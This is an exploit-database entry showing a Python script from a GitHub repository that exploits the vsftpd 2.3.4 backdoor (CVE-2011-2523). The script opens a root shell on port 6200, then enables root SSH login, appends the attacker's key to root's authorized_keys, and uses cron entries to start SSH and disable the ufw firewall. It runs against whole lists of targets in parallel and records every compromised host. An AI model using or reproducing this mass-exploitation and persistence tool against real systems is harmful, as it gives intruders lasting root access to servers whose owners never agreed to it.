Exploit database

GH-739ca2be8d8b72a4cdb0f50b7f676b5c

gill-singh-a/vsftp-2.3.4-remote-root-shell-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2011-2523

33 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.py

Python · 9,028 bytes
#! /usr/bin/env python3

import socket, os, pexpect, paramiko
from getpass import getpass
from datetime import date
from optparse import OptionParser
from colorama import Fore, Back, Style
from multiprocessing import Pool, Lock, cpu_count
from time import strftime, localtime, sleep

status_color = {
    '+': Fore.GREEN,
    '-': Fore.RED,
    '*': Fore.YELLOW,
    ':': Fore.CYAN,
    ' ': Fore.WHITE
}

lock = Lock()
thread_count = cpu_count()

ftp_port = 21
ftp_user = "kaptaan:)"
ftp_password = "pwned"
exploit_trigger_wait_time = 5
exploit_port = 6200
check_ssh = True
cronjob_workdone_sleep = 90
ssh_configure_commands = "echo '* * * * * root systemctl start ssh' >> /etc/crontab && echo '* * * * * root ufw disable' >> /etc/crontab && "
cronjob_remove_commands = "grep -v '* * * * * root systemctl start ssh' /etc/crontab > /tmp/crontab && mv /tmp/crontab /etc/crontab"

def check_port(host, port, timeout=None):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if timeout:
            socket.setdefaulttimeout(timeout)
        result = sock.connect_ex((host, port))
    except:
        return False
    else:
        if result == 0:
            return True
        sock.close()
def generatePublicPrivateKeys():
    display(':', "Creating New Private/Public Key Pairs")
    display('+', "Enter the file in which to save the key : ", end='')
    key_path = input()
    key_passphrase = getpass("Enter the Passphrase for the key : ")
    os.system(f"ssh-keygen -t rsa -b 4096 -C root -f '{key_path}' -N '{key_passphrase}'")
    return key_path, key_passphrase

def display(status, data, start='', end='\n'):
    print(f"{start}{status_color[status]}[{status}] {Fore.BLUE}[{date.today()} {strftime('%H:%M:%S', localtime())}] {status_color[status]}{Style.BRIGHT}{data}{Fore.RESET}{Style.RESET_ALL}", end=end)

def get_arguments(*args):
    parser = OptionParser()
    for arg in args:
        parser.add_option(arg[0], arg[1], dest=arg[2], help=arg[3])
    return parser.parse_args()[0]

def trigger_exploit(target):
    try:
        connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connection.connect((target, 21))
        connection.send(f"USER {ftp_user}\n")
        connection.send(f"PASS {ftp_user}\n")
        sleep(exploit_trigger_wait_time)
        connection.close()
        return True
    except Exception as error:
        return error
def exploit(target, public_key, check_ssh):
    cronjob = False
    command_payload = ""
    if not check_port(target, 22) and check_ssh:
        cronjob = True
        with lock:
            display('*', f"SSH not Running on {Back.MAGENTA}{target}{Back.RESET}. Enabling SSH by adding commands in CRONJOB!")
        command_payload += ssh_configure_commands
    command_payload += f"grep -v 'PermitRootLogin' /etc/ssh/sshd_config > /tmp/sshd_config && mv /tmp/sshd_config /etc/ssh/sshd_config && echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config && grep -v 'Port' /etc/ssh/sshd_config >/tmp/sshd_config && mv /tmp/sshd_config /etc/ssh/sshd_config && echo Port 22 >> /etc/ssh/sshd_config && echo {public_key} >> /root/.ssh/authorized_keys"
    if not check_port(target, exploit_port):
        trigger_exploit(target)
    telnet_connection = pexpect.spawn(f"telnet {target} {exploit_port}")
    telnet_connection.expect_exact("^]")
    telnet_connection.sendline(command_payload)
    telnet_connection.expect_exact("\n")
    telnet_connection.sendline("exit")
    telnet_connection.close()
    return cronjob
def checkExploit(target, private_key_file_path, private_key_passphrase, port=22, user="root"):
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    private_key = paramiko.RSAKey.from_private_key_file(private_key_file_path, private_key_passphrase)
    try:
        ssh_client.connect(target, port=port, username=user, pkey=private_key)
        stdin, stdout, stderr = ssh_client.exec_command("uname -a")
        info = stdout.readlines()[0]
        ssh_client.close()
        return True, info.replace('\n', '')
    except Exception as error:
        return False, error
def removeCronjob(target):
    telnet_connection = pexpect.spawn(f"telnet {target} {exploit_port}")
    telnet_connection.expect_exact("^]")
    telnet_connection.sendline(cronjob_remove_commands)
    telnet_connection.expect_exact("\n")
    telnet_connection.sendline("exit")
    telnet_connection.close()

def main(targets, key_path, public_key, key_passphrase, checkPort=True):
    successful_exploits = []
    for target in targets:
        try:
            cronjob_status = exploit(target, public_key, checkPort)
            if cronjob_status:
                sleep(cronjob_workdone_sleep)
            exploit_status, info = checkExploit(target, key_path, key_passphrase)
            if cronjob_status:
                removeCronjob(target)
        except Exception as error:
            with lock:
                display('-', f"Error while Exploiting {Back.MAGENTA}{target}{Back.RESET}")
            continue
        if exploit_status:
            successful_exploits.append(target)
            with lock:
                display('+', f"Successfully Exploited Target => {Back.MAGENTA}{target}{Back.RESET} ({Back.MAGENTA}{info.strip()}{Back.RESET})")
        else:
            with lock:
                display('-', f"Failed to Exploit Target {Back.YELLOW}{target}{Back.RESET}")
    return successful_exploits

if __name__ == "__main__":
    arguments = get_arguments(('-t', "--target", "target", "Target Servers (Seperated by ',' or File Name)"),
                              ('-p', "--keys-path", "key_path", "Path for Public Key for SSH (Leave Empty to Generate New)"),
                              ('-c', "--check-port", "check_port", f"Check SSH Port (True/False, Default={check_ssh})"),
                              ('-w', "--write", "write", "File to Dump Successful Exploited Targets (default=current data and time)"))
    if not arguments.target:
        display('-', f"Please specify {Back.YELLOW}Target Server{Back.RESET}")
        exit(0)
    else:
        try:
            with open(arguments.target, 'r') as file:
                arguments.target = [target.strip() for target in file.read().split('\n') if target != '']
        except FileNotFoundError:
            arguments.target = arguments.target.split(',')
        except Exception as error:
            display('-', f"Error Occured while Reading File {Back.MAGENTA}{arguments.target}{Back.RESET} => {Back.YELLOW}{error}{Back.RESET}")
            exit(0)
    if arguments.key_path:
        try:
            with open(f"{arguments.key_path}.pub", 'r') as file:
                arguments.public_key = file.read().replace('\n', '').strip()
            key_passphrase = getpass(f"Enter Passpharse for {arguments.key_path} : ")
            key_path = arguments.key_path
        except FileNotFoundError:
            key_path, key_passphrase = generatePublicPrivateKeys()
            try:
                with open(f"{key_path}.pub", 'r') as file:
                    arguments.public_key = file.read().replace('\n', '').strip()
            except Exception as error:
                display('-', f"Error Occured while Reading Public Key File {Back.MAGENTA}{key_path}.pub{Back.RESET} => {Back.YELLOW}{error}{Back.RESET}")
                exit(0)
        except Exception as error:
            display('-', f"Error Occured while Reading Public Key File {Back.MAGENTA}{arguments.public_key}{Back.RESET} => {Back.YELLOW}{error}{Back.RESET}")
            exit(0)
    else:
        key_path, key_passphrase = generatePublicPrivateKeys()
        try:
            with open(f"{key_path}.pub", 'r') as file:
                arguments.public_key = file.read().replace('\n', '').strip()
        except Exception as error:
            display('-', f"Error Occured while Reading Public Key File {Back.MAGENTA}{key_path}.pub{Back.RESET} => {Back.YELLOW}{error}{Back.RESET}")
            exit(0)
    if arguments.check_port == "False":
        arguments.check_port = False
    else:
        arguments.check_port = check_ssh
    if not arguments.write:
        arguments.write = f"{date.today()} {strftime('%H_%M_%S', localtime())}.txt"
    total_targets = len(arguments.target)
    target_divisions = [arguments.target[group*total_targets//thread_count: (group+1)*total_targets//thread_count] for group in range(thread_count)]
    pool = Pool(thread_count)
    threads = []
    successful_exploits = []
    for thread_index, target_division in enumerate(target_divisions):
        threads.append(pool.apply_async(main, (target_division, key_path, arguments.public_key, key_passphrase, arguments.check_port)))
    for thread in threads:
        successful_exploits.extend(thread.get())
    pool.close()
    pool.join()
    display(':', f"Dumping Successfully Exploited Targets to File {Back.MAGENTA}{arguments.write}{Back.RESET}")
    with open(arguments.write, 'w') as file:
        file.write('\n'.join(successful_exploits))